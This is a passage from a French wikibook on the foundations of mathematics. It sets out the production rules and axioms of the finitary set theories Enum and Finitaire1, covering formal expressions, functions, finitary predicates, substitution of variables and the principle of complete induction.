l’énumérabilité. Il est équivalent à l’indécidabilité du problème de l’arrêt, prouvée par Turing dans le même article fondateur (On computable numbers, with an application to the Entscheidungsproblem). [[Fondements des mathématiques:Théorèmes fondamentaux de l’énumérabilité et de l’indécidabilité|Texte de cette section]] ==Les négations des faussetés atomiques et le principe d’induction complète== Les prédicats à partir desquels les ensembles de Enum sont définis ne contiennent pas la négation. Cela permet à Enum d’être une théorie complète, au sens où elle peut prouver toutes ses vérités, mais ce n’est pas suffisant pour une théorie générale des ensembles finitaires parce qu’on veut pouvoir y définir des ensembles à partir de prédicats qui contiennent des négations. Pour remplir les ensembles définis avec la négation dans leurs prédicats, il faut pouvoir prouver des négations de faussetés atomiques. Explicitons le processus de production de ces négations. ===Quelques négations de faussetés atomiques de base=== Quelques formules sont évidemment des négations de faussetés atomiques. Les premières d’entre elles nient l’égalité entre des objets de base différents, s’il y a au moins deux objets de base. Avec les trois objets de base o , X , Z , on obtient trois négations de faussetés atomiques initiales, non(o=X) , non(o=Z), non(X=Z) Quelques règles de production pour les non-équations, ou négations d’équations, suffisent pour engendrer toutes les non-équations vraies entre expressions formelles, parce que par définition, deux expressions formelles ne sont égales que si elles sont toutes les deux des combinaisons des mêmes objets de base, avec les mêmes opérateurs appliqués dans le même ordre. A partir des non-équations vraies on peut engendrer des non-appartenances vraies. Par exemple on a la règle suivante, si non(x=y) alors non(x est dans Singleton de y). De telles non-appartenances vraies sont les négations de faussetés atomiques les plus élémentaires pour une théorie des ensembles parce qu’on peut les produire sans faire usage du principe d’induction complète. Celui-ci est le principe finitaire le plus important. Il nous donne la capacité de prouver presque tout ce qu’on veut prouver sur les ensembles infinis, pourvu qu’ils soient finitaires. On peut l’énoncer de la façon suivante. ===Le schéma d’axiomes du principe d’induction complète=== Soit E un ensemble défini par induction à partir d’un élément initial i et d’une fonction génératrice g. Cela veut dire que E contient i et toutes ses images, g(i), g(g(i)), g(g(g(i))), ...obtenues par un nombre fini d’applications de g . E est l’ensemble induit par g à partir de i. Soit P(x, y1,...,yn) un prédicat d’une théorie des ensembles finitaires, avec n+1 variables libres. La formule suivante est un axiome. Pour tous y1,...,yn, tout i et toute fonction g si P(i, y1,...,yn) et si pour tout x si P(x, y1,...,yn) alors P(g(x), y1,...,yn) alors pour tout x, si x est dans Ensemble induit par g à partir de i alors P(x, y1,...,yn) Cet axiome peut servir à prouver la négation d’une fausseté atomique. Si on sait déjà que P(c, y1,...,yn) est faux, on peut déduire que c n’est pas dans E. Tel qu’il a été explicité, c’est un schéma d’axiomes qui montre comment formuler un nombre infini d’axiomes en remplaçant P(x, y1,...,yn) par les prédicats d’une théorie. On peut considérer le principe d’induction complète comme une définition de la notion d’ensemble induit, au sens où il fixe la signification de cette notion. Les vérités atomiques, ou singulières, de l’arithmétique élémentaire, peuvent toutes être connues, ainsi que les négations des faussetés atomiques, sans faire usage de la puissance déductive de la logique du premier ordre. Des règles de production suffisent, parce que l’ensemble des vérités singulières est décidable. On l’apprend tout simplement en apprenant à compter, à faire des additions et des multiplications. En revanche la connaissance des vérités atomiques ensemblistes ne peut pas se passer des lois générales et de la logique du premier ordre. Des raisonnements fondés sur des lois générales permettent parfois de prouver des vérités singulières. ==La négation dans les prédicats finitaires== Cette section montre comment élargir l’ontologie de Enum pour introduire la négation dans les prédicats finitaires. Elle expose aussi des règles, et des pseudo-règles, de production pour les négations des faussetés atomiques. [[Fondements des mathématiques : La négation dans les prédicats finitaires|Texte de cette section]] ==Les axiomes d’une théorie élémentaire des ensembles finitaires== Cette section expose les axiomes de Finitaire1, qui est une théorie élementaire des ensembles finitaires. Finitaire1 est ainsi nommée parce qu’elle peut servir de base pour développer des théories plus puissantes. ===L’ontologie de Finitaire1=== L’ontologie de Finitaire1, c’est à dire l’ensemble de tous les êtres nommés dans la théorie, contient principalement des expressions formelles et des ensembles. Les autres êtres, les fonctions les prédicats, les X-termes, les Z-termes, sont des objets auxiliaires qui servent à construire des ensembles. Finitaire1 emprunte donc à Enum son ontologie en la complétant avec les négation dans les prédicats. Les trois objets de base de Finitaire1 sont ceux de Enum, o, X et Z. Les 15 opérateurs fondamentaux de Finitaire1 sont les 14 de Enum plus Non. Les deux notions premières, ou prédicats fondamentaux, les plus importantes, de Finitaire1 sont “être dans”, ou “être élément de”, et “=”. Les autres prédicats fondamentaux servent à définir les constructions auxiliaires. Les 27 prédicats fondamentaux sont ceux de Enum plus “est faux” et “est un prédicat sans variables liées”. ===Les axiomes de Finitaire1=== Les axiomes sont des formules de la logique du premier ordre, définies avec les objets de base, les opérateurs et les prédicats fondamentaux. Nous verrons plus loin comment le nombre d’opérateurs et de prédicats fondamentaux de Finitaire1 peut être réduit sans modifier véritablement la théorie. ====L’axiome d’extensionalité==== L’axiome d’extensionalité est un axiome nécessaire pour toutes les théories des ensembles. Il dit que deux ensembles sont égaux s’ils ont les mêmes éléments. Si un être n’obéit pas à cet axiome alors il ne peut pas être un ensemble. Sous la forme suivante, c’est un axiome de Finitaire1. Pour tout x et tout y, si (x et y sont des ensembles et si pour tout z, (z est dans x équivaut à z est dans y) ) alors x = y L’inclusion entre ensembles est définie de la façon suivante. x est inclus dans y =def (x et y sont des ensembles et pour tout z, si z est dans x alors z est dans y) On peut alors énoncer l’axiome d’extensionalité d’une façon plus brève. Pour tout x et tout y, si (x est inclus dans y et y est inclus dans x) alors x = y ====Les axiomes d’existence des ensembles==== Parmi les 27 prédicats fondamentaux de Finitaire1, tous sauf quatre (“=”, “être dans”, “être vrai” et “être faux”) conduisent à des ensembles énumérables de vérités atomiques qui interviennent dans les raisonnements seulement pour justifier les constructions auxiliaires. Nous verrons qu’on peut s’en passer en les remplaçant par deux, ou même un, schéma d’axiomes, mais celui-ci requiert la compréhension de la notion de prédicat finitaire, qui doit être définie séparément. La plupart des règles de Enum et de la négation dans les prédicats finitaires servent justement à définir avec précision cette notion. Les ensembles sont définis et remplis avec les règles de de production de Enum, les règles ou pseudo-règles associées à l’opérateur Non, et les trois formules initiales de Enum. Toutes les règles de production de Enum ainsi que les pseudo-règles associées à l’opérateur Non, peuvent être traduites par des formules closes du calcul des prédicats du premier ordre. Il suffit de les compléter avec des quantificateurs universels pour toutes leurs variables libres. Par exemple, la règle Eform2 est traduite par la formule suivante. Pour tout x, si x est une expression formelle alors sx est une expression formelle Il s’agit bien d’une loi générale. ====Le principe d’induction complète==== Le schéma d'axiomes du principe d'induction complète a déjà été énoncé. Tous les axiomes, en nombre infini, obtenus à partir de ce schéma sont des axiomes de Finitaire1. La théorie Finitaire1 est l’ensemble de tous les axiomes qui viennent d'être cités et de toutes les formules que l’on peut déduire par les règles de déduction de la logique du premier ordre. ===Autres formulations des axiomes de Finitaire1=== ==L’incomplétude des théories finitaires== ==L’élargissement ontologique== Fondements des mathématiques:Formules initiales et règles de production pour les vérités atomiques d’appartenance aux ensembles énumérables 2686 14267 2005-03-01T04:02:59Z Thierry Dugnolle 206 /* Des opérateurs ensemblistes dérivés */correction Les ensembles sont ici des systèmes formels, ou ensembles d'expressions formelles, des ensembles de ces ensembles et ainsi de suite. ==Les expressions formelles== Les expressions formelles pourraient être définies comme des suites finies de symboles mais il est plus commode de leur donner la structure formelle de combinaisons d’opérateurs avec des objets de base. Les nombres entiers positifs peuvent être considérés comme des expressions formelles définies à partir d’un unique objet de base, 0, et d’un opérateur unaire (à une place), s, la fonction de succession. s0=1, ss0=2 et ainsi de suite. Un nombre fini d’objets de base et d’opérateurs peuvent être choisis pour définir l’ensemble des expressions formelles.Pour la preuve du théorème fondamental de l’énumérabilité, il est commode de choisir un objet de base, appelons-le o, un opérateur unaire, s, et deux opérateurs binaires, a et b. “est une expression formelle” est un prédicat unaire fondamental de Enum. Eform1 o est une expression formelle Eform2 Si x est une expression formelle alors sx est une expression formelle Eform3 Si x et y sont des expressions formelles alors axy et bxy sont des expressions formelles (x et y sont des expressions formelles) est une abréviation pour (x est une expression formelle et y est une expression formelle). ==Les fonctions== ===Les termes=== De nombreuses fonctions peuvent être définies à partir d’opérateurs fondamentaux quand on introduit des variables et des termes comme objets auxiliaires. Par exemple, x fois x, ou x au carré, est un terme, dont la seule variable est x. Il définit la fonction qui à x associe son carré. Quand on introduit les variables et les termes comme des objets, des “quelque chose”, dans la théorie, il faut distinguer entre les constantes et les variables. Les expressions formelles, les ensembles, les fonctions et les prédicats (qui seront introduits plus loin) sont des constantes. Les variables et les termes qui contiennent des variables ne sont pas des constantes. Ce sont des objets auxiliaires, intermédiaires dans les calculs sur les constantes et qui servent à définir des fonctions et des prédicats. On peut considérer les termes comme des formes, ou des cadres, destinées à être remplies avec des constantes pour former d’autres constantes. Remplir un terme avec une constante c, consiste à substituer c à toutes les occurences d’une variable. ===Les listes de constantes=== Les fonctions peuvent avoir n’importe quel nombre fini de variables, ou arguments. Une façon commode de formaliser cela consiste à introduire un opérateur binaire fondamental C. Cxy est le couple de x et y. CxCyz est le triplet de x, y et z. et ainsi de suite pour toutes les listes finies. On pourrait aussi définir un triplet par CCxyz. Le choix fait ici est arbitraire, mais une fois qu’il est fait, il vaut mieux s’y tenir, pour simplifier le traitement formel des fonctions. Il en va de même pour les quadruplets, qui sont définis par CwCxCyz, et pour tous les n-uplets, ou listes de n éléments. Dans le traitement formel des fonctions, une distinction des objets simples, ou listes de un élément, parmi les listes est alors requise. “est simple” et “est une constante” sont des prédicats unaires fondamentaux. Simp1 Si x est une expression formelle alors x est simple Simp2 Si x est un ensemble alors x est simple Const1 Si x est simple alors x est une constante Const2 Si x et y sont des constantes alors Cxy est une constante “est un ensemble” est un prédicat unaire fondamental qui sera introduit plus loin. Les expressions formelles, les ensembles, et leurs listes finies, sont les constantes de Enum. Pour simplifier l’ontologie on n’inclut pas les fonctions parmi les constantes. Cela veut dire qu’on ne peut pas construire d’ensembles de fonctions et de fonctions de fonctions. Ces constructions ne sont pas nécessaires ni pour définir les ensembles énumérables. ===Les X-variables=== Dans Enum, nous introduisons deux ensembles infinis de variables, les X-variables, X, X’, X’’, ... et les Z-variables, Z, Z’, Z’’, ... Les X-variables servent à définir des fonctions, par l’intermédiaire des X-termes. Les Z-variables servent à définir des prédicats, par l’intermédiaire des Z-termes. “est une X-variable” est un prédicat unaire fondamental, X est un objet de base. Un opérateur unaire ‘ (prime) est introduit pour produire d’autres X-variables, en nombre infini. Xvar1 X est une X-variable Xvar2 Si x est une X-variable alors x’ est une X-variable Ici X est un objet de la theorie de même que X’, X’’, X’’’ et les autres X-variables. ===Les X-termes=== Les X-termes serviront à définir des fonctions. Les règles suivantes initient l’ontologie des X-termes et donc celle des fonctions. Cette ontologie est déterminante pour la puissance des théories. Nous définirons deux types de fonctions, celles qui produisent des expressions formelles et celles qui produisent des ensembles. Les premières sont ici appelées fonctions numériques, parce que les expressions formelles sont une sorte de nombres généralisés. Les secondes sont les fonctions ensemblistes. Elles seront introduites plus loin. “est un X-terme numérique ” est un prédicat unaire fondamental. Xterme1 Si x est une expression formelle alors x est un X-terme numérique Xterme2 Si x est une X-variable alors x est un X-terme numérique Xterme3 Si x et y sont des X-termes numériques alors Cxy est un X-terme numérique Xt-Num1 Si x est un X-terme numérique alors sx est un X-terme numérique Xt-Num2 Si x et y sont des X-termes numériques alors axy et bxy sont des X-termes numériques ===Chaque X-terme définit une fonction=== “est une fonction” est un prédicat unaire fondamental. “Image par...de” est un opérateur binaire fondamental. Il sera souvent abrégé avec “Im par...de”. Ils seront introduits plus loin. Si f est une fonction et si x est dans le domaine de f alors Image par f de x existe, ou est une constante. Si x n’est pas dans le domaine de f ou si f n'est pas une fonction alors Image par f de x ne peut pas être considéré comme le nom de quelque chose, ou comme une constante. “Fonction”.est un opérateur unaire fondamental. Il sera souvent abrégé par Fonc. “est une fonction numérique” et “est un X-terme” sont des prédicats unaires fondamentaux FoncNum1 Si t est un X-terme numérique alors Fonction t est une fonction numérique FoncNum2 Si t est un X-terme numérique alors t est un X-terme FoncNum3 Si f est une fonction numérique alors f est une fonction = est le prédicat binaire fondamental de l’égalité. Les règles pour l’égalité sont données plus loin. “est obtenue par une suite correcte de substitutions de la liste... dans” est un prédicat ternaire fondamental qui sera introduit plus loin avec des règles auxiliaires. On peut alors énoncer la règle fondamentale des fonctions. Fonc Si t est un X-terme et c est une constante et d est obtenu par une suite correcte de substitutions de la liste c dans t et d est une constante alors d = Image par Fonction t de c Les parenthèses sont souvent omises dans l’énoncé de ces règles parce qu’elles ne contiennent qu’un seul opérateur “Si...alors”. Il est implicite que les prémisses sont rassemblées entre le si et le alors, de même pour les conclusions qui suivent le alors. La règle FoncNum1 est la seule qui introduit des fonctions numériques dans l’ontologie de Enum. Toutes les fonctions numériques y sont donc définies par des X-termes numériques. Nous verrons plus loin que l’ontologie des fonctions ensemblistes est également déterminée par l’ontologie des X-termes ensemblistes. Nous voudrions que s, a et b soient des fonctions pour cette théorie. Mais on ne peut pas simplement dire que s, a et b sont des fonctions parce qu’ils ne sont pas des objets de la théorie et ne peuvent pas l’être, si l’on veut que les règles ordinaires de la grammaire des opérateurs soient respectées. Une formule telle que ass est grammaticalement incorrecte, parce que s n’est pas un nom d’objet mais un nom d’opérateur qui sert à nommer les objets de la théorie. Mais Fonction sX est un nom pour la fonction s, de même que Fonction aXX’ et Fonction bXX’ pour les fonctions a et b de deux variables. ==Règles de base pour les égalités== “=” est un prédicat binaire fondamental. Les ensembles énumérables peuvent toujours être définis comme des ensembles d’expressions formelles. Pour produire les vérités atomiques sur les ensembles énumérables, on a besoin des équations entre noms d’expressions formelles et entre listes d’expressions formelles. Les équations entre expressions formelles peuvent toutes être engendrées avec l’unique règle Eq1 parce que deux expressions formelles sont égales si et seulement si elles sont composées avec la même combinaison des opérateurs s, a et b, dans le même ordre. Les égalités entre fonctions ne sont pas nécessaires dans Enum. On n’en a pas besoin pour produire les vérités atomiques d’appartenance aux ensembles énumérables. Comme on va définir des fonctions ensemblistes, on n’aura cependant besoin d’équations entre ensembles. Cela pose a priori un problème, parce que l’égalité des ensembles est fixée par l’axiome d’extensionalité et que l’ensemble de toutes les égalités entre ensembles n’est pas énumérable. Mais pour produire les vérités atomiques d’appartenance aux ensembles énumérables, on n’a pas besoin de toutes les égalités entre ensembles. Les règles Eq1, Fonc et les suivantes suffiront. Eq1 Si x est une constante alors x = x La règle suivante suffit alors pour produire toutes les équations entre listes d’expressions formelles. EqC Si x = y et v = w alors Cxv = Cyw Les noms d’expressions formelles peuvent contenir des fonctions. La règle Fonc2 produit des égalités qui contiennent de tels noms. Pour produire les autres, on a besoin des règles suivantes. Eq1 Si x = y alors y = x Eq2 Si x = y et y = z alors x = z EqIm Si x = y et Image de x par f est une constante alors Image de x par f = Image de y par f Eq2 est la règle fondamentale qui permet d’enchainer des calculs. Ces règles doivent être complétées par les deux suivantes pour pouvoir enchainer les productions. EqEform Si x = y et x est une expression formelle alors y est une expression formelle EqEns Si x = y et x est un ensemble alors y est un ensemble EqDans Si x = y et x est dans z alors y est dans z ==La construction finitaire des ensembles infinis== “est dans” est un prédicat binaire fondamental. “est un ensemble” est un prédicat unaire fondamental. “Ensemble induit par...à partir de” est un opérateur binaire fondamental. Il sera souvent abrégé par “Ind par...de”. Ensemble induit par g à partir de i est l’ensemble qui contient i et toutes ses images, g(i), g(g(i)), g(g(g(i))), ...obtenues par un nombre fini d’applications de g. Infini1 Si i est une constante et g est une fonction alors Ensemble induit par g à partir de i est un ensemble Infini2 Si i est une constante et g est une fonction alors i est dans Ensemble induit par g à partir de i Infini3 Si x est dans Ensemble induit par g à partir de i alors Image par g de x est dans Ensemble induit par g à partir de i Ensemble induit par g à partir de i est souvent infini, pour de nombreuses fonctions g. Ces règles permettent de prouver une version finitaire de l’axiome de l’infini. ==Les extensions des prédicats finitaires== L’axiome de compréhension de Frege dit que pour tout prédicat, ou concept, il existe l’ensemble de tous les êtres pour lesquels ce concept est vrai. Autrement dit, tout concept a une extension conceptuelle. Russell a prouvé que cet axiome est trop général pour être cohérent. Nous avons donc besoin d’une forme plus faible de l’axiome de compréhension si nous voulons une théorie fiable. Dans les mathématiques finitaires, il semble assez naturel de se limiter aux constructions prédicatives des ensembles. Cela veut dire que le prédicat par lequel on définit un ensemble ne mentionne que des ensembles déjà définis. Même le domaine d’existence, associé aux opérateurs d’existentiation et de généralisation doit être un ensemble déjà défini. L’axiome de séparation de Zermelo va au delà des définitions prédicatives parce qu’il autorise comme domaine d’existence la classe de tous les ensembles. Ces définitions non-prédicatives posent des difficultés quand on cherche des preuves de cohérence. Elles semblent cependant assez indispensables à certaines parties avancées des mathématiques. Ici nous allons d’abord définir les prédicats comme des objets de la théorie. (Etre un objet de la théorie, c’est faire partie de son domaine d’existence, ou de son univers.) Parmi les prédicats, on distinguera les prédicats finitaires. Dans Enum, les prédicats finitaires sont toujours obtenues avec des conjonctions, des disjonctions et des existentiations à partir de prédicats atomiques. Des règles finitaires plus générales, qui introduisent la négation dans les prédicats, et permettent d’y définir des généralisations prédicatives peuvent être énoncées pour obtenir des théories plus puissantes que Enum. Elles ne sont pas nécessaires pour définir les ensembles énumérables. Les prédicats finitaires ne contiennent que des variables prédicatives. Les premières variables prédicatives sont celles qui varient seulement sur un ensemble nommé dans le prédicat, une constante. Les autres variables prédicatives ne doivent varier qu’à l’intérieur d’un ensemble désigné par une variable dont on sait déjà qu’elle est prédicative. “est un prédicat finitaire” est un prédicat unaire fondamental et sera introduit plus loin. “Extension de” est un opérateur unaire fondamental, il sera souvent abrégé par Ext. Frege1 Si x est un prédicat finitaire alors Extension de x est un ensemble Frege2 Si p est un prédicat finitaire et q est obtenu par une suite correcte de substitutions de la liste c dans p et q est vrai alors c est dans Extension de p “est vrai” est un prédicat unaire fondamental et est introduit plus loin. ===Les Z-variables et les Z-termes=== Les X-variables ne sont pas introduites dans les prédicats, parce que pour le traitement à venir des fonctions ensemblistes, on a besoin d’une nette séparation entre la substitution à des X-variables et la substitution à des Z-variables. “est une Z-variable” et “est un Z-terme” sont des prédicats unaires fondamentaux. Zvar1 Z est une Z-variable Zvar2 Si x est une Z-variable alors x’ est une Z-variable Zterm1 Si x est une Z-variable alors x est un Z-terme Zterm2 Si x est une constante alors x est un Z-terme Zterm3 Si x est un Z-terme et f est une fonction alors Im par f de x est un Z-terme Zterm4 Si x et y sont des Z-termes alors Cxy est un Z-terme ===Des prédicats=== “Dans” et “Egale” sont des opérateurs binaires fondamentaux. Ils ne sont pas des prédicats fondamentaux de Enum mais seulement des opérateurs qui servent à nommer des prédicats formels. On emploie ici prédicat en deux sens, d’une part les prédicats fondamentaux de Enum, qui ne sont pas des objets de Enum, d’autre part, les prédicats formels, ou tout simplement prédicats, qui sont des objets de Enum. Le contexte doit suffire pour comprendre à chaque fois de quels prédicats l’on parle. “est un prédicat” est un prédicat unaire fondamental. On pourrait dire aussi, “est un prédicat formel”, pour éviter l’équivoque, mais je n’adopterai pas cet usage, pour éviter des formulations trop lourdes. PredDans Si x est un Z-terme et (y est un ensemble ou y est une Z-variable) alors (x Dans y) est un prédicat PredEgale Si x et y sont des Z-termes alors (x Egale y) est un prédicat “...Et....”, “...Ou...” et “il existe un...tel que” sont des opérateurs binaires fondamentaux qui servent à nommer des prédicats. Ils sont distincts des opérateurs logiques de conjonction, de disjonction et d’existentiation utilisés dans toutes les théories. PredEt Si p et q sont des prédicats alors (p Et q) est un prédicat PredOu Si p et q sont des prédicats alors (p Ou q) est un prédicat PredExist Si x est une Z-variable et p est est un prédicat alors (il existe un x tel que p) est un prédicat ===Des prédicats finitaires=== PredFinDans Si x est un Z-terme et y est un ensemble alors (x Dans y) est un prédicat finitaire PredFinEgale Si c est une constante et x est une Z-variable alors (x Egale c) et (c Egale x) sont des prédicats finitaires PredFinEt1 Si p et q sont des prédicats finitaires alors (p Et q) est un prédicat finitaire PredFinEt2 Si x est un Z-terme et y est une Z-variable et p est un prédicat finitaire et y a au moins une occurence dans p alors ((x Dans y) Et p) et (p Et (x Dans y)) sont des prédicats finitaires PredFinEt3 Si x et y sont des Z-termes et ont toutes leurs variables dans p et p est un prédicat finitaire alors ((x Egale y) Et p) et (p Et (x Egale y)) sont des prédicats finitaires La règle suivante est ainsi nommée parce qu’elle permet de prouver une version finitaire de l’axiome de remplacement. Fraenkel Si x est une Z-variable et y est un Z-terme et p est un prédicat finitaire et y a toutes ses variables dans p alors ((x Egale y) Et p) et (p Et (x Egale y)) sont des prédicats finitaires PredFinOu Si p et q sont des prédicats finitaires et p a toutes ses variables dans q et q a toutes ses variables dans p alors (p Ou q) est un prédicat finitaire “a au moins une occurence dans” et “a toutes ses variables dans” sont des prédicats binaires fondamentaux introduits avec les règles auxiliaires sur les variables. PredFinExist Si p est un prédicat finitaire et x est une Z-variable alors (il existe un x tel que p) est un prédicat finitaire ===Un prédicat de vérité=== “est vrai” est un prédicat unaire fondamental. Pvrai1 Si x est dans y alors (x Dans y) est vrai Pvrai2 Si x = y alors (x Egale y) est vrai PvraiEt Si p et q sont vrais alors (p Et q) est vrai “est une assertion” est une prédicat unaire fondamental. Asser1 Si x est une constante et y est un ensemble alors (x Dans y) est une assertion Asser2 Si x et y sont des constantes alors (x Egale y) est une assertion Asser3 Si p et q sont des assertions alors (p Et q) et (p Ou q) sont des assertions PvraiOu Si p est vrai et q est une assertion alors (p Ou q) et (q Ou p) sont vrais PvraiExist Si p est vrai et c est une constante et c est simple et z est une Z-variable et p est obtenu à partir de la substitution de c à toutes les occurences de z dans q alors (il existe un z tel que q) est vrai Ce prédicat de vérité est partiel. Il ne détermine la vérité que des énoncés formés avec des égalités et des appartenances. ==Des opérateurs ensemblistes dérivés== Les opérateurs Singleton de, Paire de, Union, Inter, Ensemble-somme de, Ensemble-image par...de, et Produit cartésien de...et, peuvent être définis avec la présente ontologie des prédicats finitaires. Singleton de x est l’ensemble qui contient x comme unique élément. Singleton de x =def Extension de Z Egale x Paire de x et y =def Extension de (Z Egale x Ou Z Egale y) x Union y =def Extension de (Z Dans x Ou Z Dans y) x Inter y =def Extension de (Z Dans x Et Z Dans y) Ensemble-somme de x =def Extension de (il existe un Z' tel que (Z' Dans x Et Z Dans Z')) Ensemble-image par f de x =def Extension de (il existe un Z' tel que(Z' Dans x Et Z Egale Image par f de Z')) Produit cartésien de x et y =def Extension de (Z Dans x Et Z’ Dans y) Singleton de et Union permettent de construire tous les ensembles finis. Les règles suivantes ne sont pas des règles de production de Enum. Ce sont des règles dérivées à partir des règles déjà énoncées (et des règles auxiliaires, exposées plus loin) et de la définition des opérateurs ensemblistes. Sing1 Si x est une constante alors Singleton de x est un ensemble Sing2 Si x est une constante alors x est dans Singleton de x Union1 Si x et y sont des ensembles alors x Union y est un ensemble Union2 Si z est dans x ou z est dans y alors z est dans x Union y Inter1 Si x et y sont des ensembles alors x Inter y est un ensemble Inter2 Si z est dans x et z est dans y alors z est dans x Inter y L’opérateur Union permet de faire la réunion d’un nombre fini d’ensembles. Comme abréviation dans les preuves à venir, on introduira Union(E, F,...G) où E, F, ..., G est une liste finie d’ensembles pour abréger ((E Union F) Union ... Union G). “Ensemble-somme de...” permet de faire la réunion d’un ensemble fini ou infini d’ensembles. Esom1 Si x est un ensemble alors Ensemble-somme de x est un ensemble Esom2 Si y est dans z et z est dans x alors y est dans Ensemble-somme de x Eim1 Si x est un ensemble et f est une fonction alors Ensemble-image de x par f est un ensemble Eim2 Si x est dans y et Image de x par f est une constante alors Image de x par f est dans Ensemble-image de y par f Pcart1 Si x et y sont des ensembles alors Produit cartésien de x et y est un ensemble Pcart2 Si u est dans x et v est dans y alors Cuv est dans Produit cartésien de x et y Produit cartésien de x et y peut être abrégé par (x Pcart y). ==Les fonctions ensemblistes== Pour définir des fonctions ensemblistes, c’est à dire des fonctions qui associent des ensembles à des ensembles, on définit des X-termes ensemblistes qui déterminent des extensions. Pour cela on a besoin de la règle suivante. XtZt Si x est un Z-terme alors x est un X-terme Dans les X-termes, les Z-variables sont considérées comme des constantes. Cela veut dire que seules les X-variables donnent lieu à des substitutions. Les Z-termes servent seulement à construire des prédicats dont on prend ensuite l’extension. XtDans Si x et y sont des X-termes alors x Dans y est un X-terme XtEgale Si x et y sont des X-termes alors x Egale y est un X-terme XtEt Si x et y sont des X-termes alors x Et y est un X-terme XtOu Si x et y sont des X-termes alors x Ou y est un X-terme XtExist Si x est un X-terme et z est une Z-variable alors (il existe un z tel que x) est un X-terme XtExt Si t est un X-terme alors Extension de t est un X-terme La règle suivante permet alors de définir toutes les fonctions ensemblistes dont on a besoin dans Enum. FoncEns1 Si t est un X-terme alors Fonction Extension de t est un fonction ensembliste FoncEns2 Si f est une fonction ensembliste alors f est une fonction On n’ a pas donné la règle pour l’introduction de “Ensemble induit par...à partir de” dans les X-termes parce qu’elle n’est pas nécessaire pour définir les ensembles énumérables. ==Règles auxiliaires pour les variables== ===L’égalité, l'ordre et la différence des variables=== “est avant” et “≠” sont des prédicats binaires fondamentaux. x ≠ y veut dire que x n’est pas égal à y, mais il n’est pas défini ainsi à l’intérieur de Enum, parce qu’on n’y veut pas de négations. EqXvar Si x est une X-variable alors x = x EqZvar Si x est une Z-variable alors x = x OrVar1 Si x est une X-variable alors X est avant x’ OrVar2 Si x est une Z-variable alors Z est avant x’ OrVar3 Si x est avant y alors x’ est avant y’ DiffVar1 Si x est avant y alors x ≠ y et y ≠ x DiffVar2 Si x est une X-variable et y est une Z-variable alors x ≠ y et y ≠ x ===La substitution à toutes les occurences d’une variable=== “est obtenu par la substitution de...à toutes les occurences de...dans” est un prédicat fondamental quaternaire. subst vyxu est une abréviation pour v est obtenu par la substitution de y à toutes les occurences de x dans u. x est une variable =def (x est une X-variable ou x est une Z-variable) SubVar1 Si c est une constante et x est une variable alors c est obtenu par la substitution de c à toutes les occurences de x dans x SubVar2 Si c est une constante et x et y sont des variables et x ≠ y alors x est obtenu par la substitution de c à toutes les occurences de y dans x SubConst Si c et d sont des constantes et x est une variable alors c est obtenu par la substitution de d à toutes les occurences de x dans c SubC Si subst vyxu et subst qyxp alors subst (Cvq)yx(Cup) SubIm Si subst vyxu et f est une fonction alors subst (Image par f de v)yx(Image par f de u) SubExt1 Si subst vyxu et x est une X-variable alors subst (Extension de v)yx(Extension de u) SubExt2 Si subst vyxu et x est une Z-variable alors subst (Extension de u)yx(Extension de u) Les règles SubstIm , SubExt1 et SubExt2 sont subtiles. Lorsque f est défini par un terme t, f = Fonction t, son nom contient en général des X-variables , celles qui ont des occurences dans t. Mais ces variables ne sont pas libres. On ne doit pas y faire de substitutions parce que cela changerait la constante f. On dit que ces variables sont liées par l’opérateur Fonction. La règle SubIm respecte le principe que les variables liées ne sont pas concernées par les substitutions, de même que la règle SubstExt2, parce que les Z-variables sont liées par l’opérateur Extension. En revanche les X-variables ne sont pas liées par cet opérateur. Parmi les fonctions de Enum définies par des X-termes qui contiennent des Z-variables, les seules qui sont vraiment intéressantes sont celles pour lesquelles ces variables sont liées et il n’est pas nécessaire de faire des substitutions aux occurences des Z-variables dans Fonction t. Pour élargir l’ontologie avec des fonctions de fonctions, on peut introduire des Y-variables. Il faut introduire des règles semblables à SubC pour tous les opérateurs qui servent à construire des X-termes et des prédicats. Subs Si subst vyxu alors subst (sv)yx(su) Suba Si subst vyxu et subst qyxp alors subst (avq)yx(aup) Subb Si subst vyxu et subst qyxp alors subst (bvq)yx(bup) SubDans Si subst vyxu et subst qyxp alors subst (v Dans q)yx(u Dans p) SubEgale Si subst vyxu et subst qyxp alors subst (v Egale q)yx(u Egale p) SubEt Si subst vyxu et subst qyxp alors subst (v Et q)yx(u Et p) SubOu Si subst vyxu et subst qyxp alors subst (v Ou q)yx(u Ou p) SubExist1 Si subst vyxu et x ≠ z alors subst (il existe un z tel v)yx(il existe un z tel que u) SubExist2 Si z est une Z-variable et y est une constante et u est un prédicat alors subst (il existe un z tel que u)yz(il existe un z tel que u) “est premier dans” est un prédicat binaire fondamental. VarPrem1 Si x est une variable alors x est premier dans x VarPrem2 Si x est premier dans t et z est une constante alors x est premier dans Ctz et x est premier dans Czt VarPremC Si x est premier dans t et y est premier dans u et (x est avant y ou x = y) alors x est premier dans Ctu et dans Cut VarPremIm Si x est premier dans t et f est une fonction alors x est premier dans Image par f de t VarPremExt Si x est une X-variable et est premier dans t alors x est premier dans Extension de t Il faut introduire des règles semblables pour tous les opérateurs qui servent à construire des X-termes et des prédicats. VarPrems Si x est premier dans t alors x est premier dans st VarPrema Si x est premier dans t et y est premier dans u et (x est avant y ou x = y) alors x est premier dans atu et dans aut VarPremb Si x est premier dans t et y est premier dans u et (x est avant y ou x = y) alors x est premier dans btu et dans but VarPremDans Si x est premier dans t et y est premier dans u et (x est avant y ou x = y) alors x est premier dans (t Dans u) et dans (u Dans t) VarPremEgale Si x est premier dans t et y est premier dans u et (x est avant y ou x = y) alors x est premier dans (t Egale u) et dans (u Egale t) VarPremEt Si x est premier dans t et y est premier dans u et (x est avant y ou x = y) alors x est premier dans (t Et u) et dans (u Et t) VarPremOu Si x est premier dans t et y est premier dans u et (x est avant y ou x = y) alors x est premier dans (t Ou u) et dans (u Ou t) VarPremExist Si x est premier dans t et x ≠ z alors x est premier dans (il existe un z tel que t) ===Les suites correctes de substitutions de variables=== “est obtenu par une substitution correcte de ... dans” et “est obtenu par une suite correcte de substitutions de la liste ... dans” sont des prédicats ternaires fondamentaux. SubCor1 Si t est un X-terme et x est une X-variable et x est premier dans t et subst uwxt et w est simple alors u est obtenu par une substitution correcte de w dans t SubCor2 Si p est un prédicat et x est une Z-variable et x est premier dans p et subst qwxt et w est simple alors q est obtenu par une substitution correcte de w dans p SubCor3 Si v est obtenu par une substitution correcte de w dans u alors v est obtenu par une suite correcte de substitutions de la liste w dans u SubCor4 Si v est obtenu par une suite correcte de substitutions de la liste w dans u et x est obtenu par une substitution correcte de y dans v alors x est 